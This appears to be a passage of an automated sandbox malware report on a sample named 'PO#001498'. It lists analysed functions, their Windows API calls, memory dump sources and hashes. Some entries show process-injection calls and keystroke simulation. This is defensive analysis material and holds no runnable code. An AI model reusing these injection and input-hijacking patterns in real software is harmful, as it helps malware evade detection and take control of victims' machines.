                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: __decode_pointer__fclose_nolock__getptd_noexit__lock__lock_file
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 717694121-0
                                                                                                                                                                                                        • Opcode ID: 6051778e024176e7de16a1974b8d1b3b80c3b8a23747dfcb666cdf4e7799d8f6
                                                                                                                                                                                                        • Instruction ID: 225a509e04b880138f2478077c57af59103cae2c072c29012e7845c0956b1514
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 6051778e024176e7de16a1974b8d1b3b80c3b8a23747dfcb666cdf4e7799d8f6
                                                                                                                                                                                                        • Instruction Fuzzy Hash: DEF06270D0470499C721BB6A9802ADE7AB0AFC1338F21864FE479A72D1C77C46C29F5D
                                                                                                                                                                                                        Function 004098B8 Relevance: 3.0, APIs: 2, Instructions: 32windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • TranslateMessage.USER32(?), ref: 004098F6
                                                                                                                                                                                                        • DispatchMessageW.USER32(?), ref: 00409901
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Message$DispatchTranslate
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1706434739-0
                                                                                                                                                                                                        • Opcode ID: 743ba5b075e4e96b6aa8f27e888cbbcb244a1ef3297f43ff84cf2107d4412f6a
                                                                                                                                                                                                        • Instruction ID: 6b3a2aeb923af73eb4cdb1bab797699f2cf27729a5018e8568c19fb4e3feaf67
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 743ba5b075e4e96b6aa8f27e888cbbcb244a1ef3297f43ff84cf2107d4412f6a
                                                                                                                                                                                                        • Instruction Fuzzy Hash: D4F05471114301AEDA24DBE58D41B5BB3A8AFD8700F408C2EBA51E61C1FBF8E404C76A
                                                                                                                                                                                                        Function 004098B6 Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • TranslateMessage.USER32(?), ref: 004098F6
                                                                                                                                                                                                        • DispatchMessageW.USER32(?), ref: 00409901
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Message$DispatchTranslate
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1706434739-0
                                                                                                                                                                                                        • Opcode ID: fb629fc6ca96518639a0c0a81923e3da878f7f29ff55e6bd70df59113b88f2fd
                                                                                                                                                                                                        • Instruction ID: cc4909b6a78c34842ee59a7900970f574117f06624f4f9c7373c79b1fb9dfc76
                                                                                                                                                                                                        • Opcode Fuzzy Hash: fb629fc6ca96518639a0c0a81923e3da878f7f29ff55e6bd70df59113b88f2fd
                                                                                                                                                                                                        • Instruction Fuzzy Hash: DDF054B1114301AADA14DBE58D41B5BB3A4AF94740F408C2EBA11E52C1EBFCD504C71A
                                                                                                                                                                                                        Function 03FED2A5 Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • CreateProcessW.KERNELBASE(?,00000000), ref: 03FEDA63
                                                                                                                                                                                                        • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 03FEDAF9
                                                                                                                                                                                                        • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 03FEDB1B
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2175386724.0000000003FEC000.00000040.00000020.00020000.00000000.sdmp, Offset: 03FEC000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_3fec000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2438371351-0
                                                                                                                                                                                                        • Opcode ID: 45c0bcdfd50c24934144be52d4489c8f4aeee23b26077383fd0484b0fd6f3e51
                                                                                                                                                                                                        • Instruction ID: ebc0c4e371367a7425048acd878d5d937f9f558ff29864eb8dd36b9b2b44fec3
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 45c0bcdfd50c24934144be52d4489c8f4aeee23b26077383fd0484b0fd6f3e51
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 4E12BF24E24658C6EB24DF64D8507DEB232EF68300F1091E9910DEB7A5E77A4F81CF5A
                                                                                                                                                                                                        Function 00410D40 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ProtectVirtual
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 544645111-0
                                                                                                                                                                                                        • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                                                                                                                                                        • Instruction ID: fb1d736feddc8336b94c661b4f3a99b04f66f7614ca83ae43ac4a02a862e88ab
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 1331D574A00105DFC718DF99E490AAAFBA6FB49304B2486A6E409CB751D774EDC1CBC5
                                                                                                                                                                                                        Function 00401108 Relevance: 1.5, APIs: 1, Instructions: 36COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • DefWindowProcW.USER32(?,?,?,?), ref: 00401123
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ProcWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 181713994-0
                                                                                                                                                                                                        • Opcode ID: 2bcff8431ba1ff294e2b1c33dceaa93ee25f984dfbecb3b506615433fd530346
                                                                                                                                                                                                        • Instruction ID: 72bdf1ad184d721e15e17473fba0dc1faec6c1a9a9d1f3fcb71c15abd8c9f185
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 2bcff8431ba1ff294e2b1c33dceaa93ee25f984dfbecb3b506615433fd530346
                                                                                                                                                                                                        • Instruction Fuzzy Hash: FDF05436700118A7DF38995CE89ACFF632AD7ED350F418227FD152B3A6813C5C41966E
                                                                                                                                                                                                        Function 0041AA31 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0041AA46
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CreateHeap
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 10892065-0
                                                                                                                                                                                                        • Opcode ID: 715419928b85d2867e9ba06f33a68846dd0d9c70f7b25bc38942ce62b1fa172d
                                                                                                                                                                                                        • Instruction ID: 99ddfbee892492b32903703907324a593b21f4d4a70cf9c354be63060b8faba1
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 715419928b85d2867e9ba06f33a68846dd0d9c70f7b25bc38942ce62b1fa172d
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 56D05E325543449EDF009F71AC087663FDCE788395F008836BC1CC6150E778C950CA08
                                                                                                                                                                                                        Function 00444343 Relevance: 1.5, APIs: 1, Instructions: 19fileCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 00444326: SetFilePointerEx.KERNEL32(00000000,00000001,00000000,00000000,00000001,?,?,0044434E,?,?,00429A83,?,00487174,00000003,0040DFEE,?), ref: 004442F3
                                                                                                                                                                                                        • WriteFile.KERNELBASE(?,?,00000001,?,00000000,?,?,00429A83,?,00487174,00000003,0040DFEE,?,?,00000001,00403843), ref: 00444362
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: File$PointerWrite
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 539440098-0
                                                                                                                                                                                                        • Opcode ID: 35769b91a3a7bdb08b20991cec1574ff36ffa6c1adc4d20a0c17b9033c9b0ad0
                                                                                                                                                                                                        • Instruction ID: 4a339a6eb5dfef6003722c1615037f540bc53d76d7f4c43935d02bdd90bbdfc9
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 35769b91a3a7bdb08b20991cec1574ff36ffa6c1adc4d20a0c17b9033c9b0ad0
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 7CE09275104311AFD250DF54D944F9BB3F8AF88714F108D0EF59587241D7B4A9848BA6
                                                                                                                                                                                                        Function 0040116E Relevance: 1.5, APIs: 1, Instructions: 12COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • DefWindowProcW.USER32(?,?,?,?), ref: 00401123
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ProcWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 181713994-0
                                                                                                                                                                                                        • Opcode ID: 837c1f5b160989e4bc04331483680d437582dbd9ffcfcea34caefcb6c1da81af
                                                                                                                                                                                                        • Instruction ID: 4c36cba44089d0e03573cc5e8dee84df23505be31ebc2729507753268ee0d302
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 837c1f5b160989e4bc04331483680d437582dbd9ffcfcea34caefcb6c1da81af
                                                                                                                                                                                                        • Instruction Fuzzy Hash: C3C08C72100008BB8700DE04EC44CFBB72CEBD8310700C20BBC0586201C230885097A1
                                                                                                                                                                                                        Function 00414E06 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: __wfsopen
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 197181222-0
                                                                                                                                                                                                        • Opcode ID: d1a4d26266dcb7911ef956bf4afcad96e19892d5a9e8770749e386b2bd63db79
                                                                                                                                                                                                        • Instruction ID: 6225ca515e7db1e5d7746fb8cf1e0ad45b41b4d1817cc5a1d8a93eb941133566
                                                                                                                                                                                                        • Opcode Fuzzy Hash: d1a4d26266dcb7911ef956bf4afcad96e19892d5a9e8770749e386b2bd63db79
                                                                                                                                                                                                        • Instruction Fuzzy Hash: EDC09B7644010C77CF122943FC02E453F1997C0764F044011FB1C1D561D577D5619589
                                                                                                                                                                                                        Function 0040D900 Relevance: 1.3, APIs: 1, Instructions: 22COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • CloseHandle.KERNELBASE(00000000,?,0040DF8E), ref: 0040D91D
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CloseHandle
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2962429428-0
                                                                                                                                                                                                        • Opcode ID: b0db0cc9728059d6acb69f925b284233246e7185417bf28957a0aabd78f307cc
                                                                                                                                                                                                        • Instruction ID: 397672216df932ca6c22f29d52987cd2165f63c791f69eb8015935d900cfb6d9
                                                                                                                                                                                                        • Opcode Fuzzy Hash: b0db0cc9728059d6acb69f925b284233246e7185417bf28957a0aabd78f307cc
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 16E0DEB5900B019EC7318F6AE544416FBF8AEE46213248E2FD4E6D2A64D3B4A5898F54
                                                                                                                                                                                                        Function 03FEE2A8 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • Sleep.KERNELBASE(000001F4), ref: 03FEE2B9
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2175386724.0000000003FEC000.00000040.00000020.00020000.00000000.sdmp, Offset: 03FEC000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_3fec000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Sleep
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3472027048-0
                                                                                                                                                                                                        • Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                                                                                                                                                                        • Instruction ID: a728242b56fd343d81aa9ed88a18552c8f62d2e08da16f1e9d9b1b72394ba52a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 3FE0E674D4010DDFDB00DFB8D54969D7BB4EF04301F1001A1FD01D2280D6309D508A72

                                                                                                                                                                                                        Non-executed Functions

                                                                                                                                                                                                        Function 0047C08E Relevance: 74.2, APIs: 40, Strings: 2, Instructions: 676windowkeyboardCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0047C158
                                                                                                                                                                                                        • DefDlgProcW.USER32(?,0000004E,?,?,004A83D8,?,004A83D8,?), ref: 0047C173
                                                                                                                                                                                                        • GetKeyState.USER32(00000011), ref: 0047C1A4
                                                                                                                                                                                                        • GetKeyState.USER32(00000009), ref: 0047C1AD
                                                                                                                                                                                                        • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0047C1C0
                                                                                                                                                                                                        • GetKeyState.USER32(00000010), ref: 0047C1CA
                                                                                                                                                                                                        • GetWindowLongW.USER32(00000002,000000F0), ref: 0047C1DE
                                                                                                                                                                                                        • SendMessageW.USER32(00000002,0000110A,00000009,00000000), ref: 0047C20A
                                                                                                                                                                                                        • SendMessageW.USER32(00000002,0000113E,00000000,?), ref: 0047C22D
                                                                                                                                                                                                        • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0047C2D6
                                                                                                                                                                                                        • SendMessageW.USER32 ref: 0047C2FB
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$State$LongProcWindow
                                                                                                                                                                                                        • String ID: @GUI_DRAGID$F
                                                                                                                                                                                                        • API String ID: 1562745308-4164748364
                                                                                                                                                                                                        • Opcode ID: dcc01cbd87ddd492c2c278cbacd50e58f25e8ccd866e9ebab9dee97b514268e5
                                                                                                                                                                                                        • Instruction ID: f40edf6d5039c675f00343e7880f865f139be9e64e9b8d530a61de5f06f6045f
                                                                                                                                                                                                        • Opcode Fuzzy Hash: dcc01cbd87ddd492c2c278cbacd50e58f25e8ccd866e9ebab9dee97b514268e5
                                                                                                                                                                                                        • Instruction Fuzzy Hash: C6429F702042019FD714CF54C884FAB77A5EB89B04F548A6EFA48AB291DBB4EC45CB5A
                                                                                                                                                                                                        Function 004045E0 Relevance: 46.9, Strings: 35, Instructions: 3193COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID: PF$'|G$*"D$*vG$+%F$0wE$2G$5CG$7eF$<HF$<G$ApG$DvE$GSG$IqE$K@G$LbF$MdF$NgF$PIF$YtG$^[F$_?G$b"D$i}G$j)F$kQG$lE$rTG$vjE$}eE$*F$3G$_G$wG
                                                                                                                                                                                                        • API String ID: 0-3772701627
                                                                                                                                                                                                        • Opcode ID: bb854585b2a8d25cf70b859c951904b6599901827447d171664d6ae6ba41e592
                                                                                                                                                                                                        • Instruction ID: b1e67458769bbea4a86cd8903524db5b6e79558e2e7ab8c51025fc7bd56032a7
                                                                                                                                                                                                        • Opcode Fuzzy Hash: bb854585b2a8d25cf70b859c951904b6599901827447d171664d6ae6ba41e592
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 118366F1905B409FC351DFAAF984605BAE1F3AA3157A2857FC5088B731D7B8194A8F4C
                                                                                                                                                                                                        Function 004375B0 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 126threadkeyboardwindowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetForegroundWindow.USER32(00000000,?,?,004448AF,?), ref: 004375B3
                                                                                                                                                                                                        • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 004375D8
                                                                                                                                                                                                        • IsIconic.USER32(?), ref: 004375E1
                                                                                                                                                                                                        • ShowWindow.USER32(?,00000009,?,?,004448AF,?), ref: 004375EE
                                                                                                                                                                                                        • SetForegroundWindow.USER32(?), ref: 004375FD
                                                                                                                                                                                                        • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00437615
                                                                                                                                                                                                        • GetCurrentThreadId.KERNEL32 ref: 00437619
                                                                                                                                                                                                        • GetWindowThreadProcessId.USER32(?,00000000), ref: 00437624
                                                                                                                                                                                                        • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 00437632
                                                                                                                                                                                                        • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 00437638
                                                                                                                                                                                                        • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 0043763E
                                                                                                                                                                                                        • SetForegroundWindow.USER32(?), ref: 00437645
                                                                                                                                                                                                        • MapVirtualKeyW.USER32(00000012,00000000), ref: 00437654
                                                                                                                                                                                                        • keybd_event.USER32(00000012,00000000), ref: 0043765D
                                                                                                                                                                                                        • MapVirtualKeyW.USER32(00000012,00000000), ref: 0043766B
                                                                                                                                                                                                        • keybd_event.USER32(00000012,00000000), ref: 00437674
                                                                                                                                                                                                        • MapVirtualKeyW.USER32(00000012,00000000), ref: 00437682
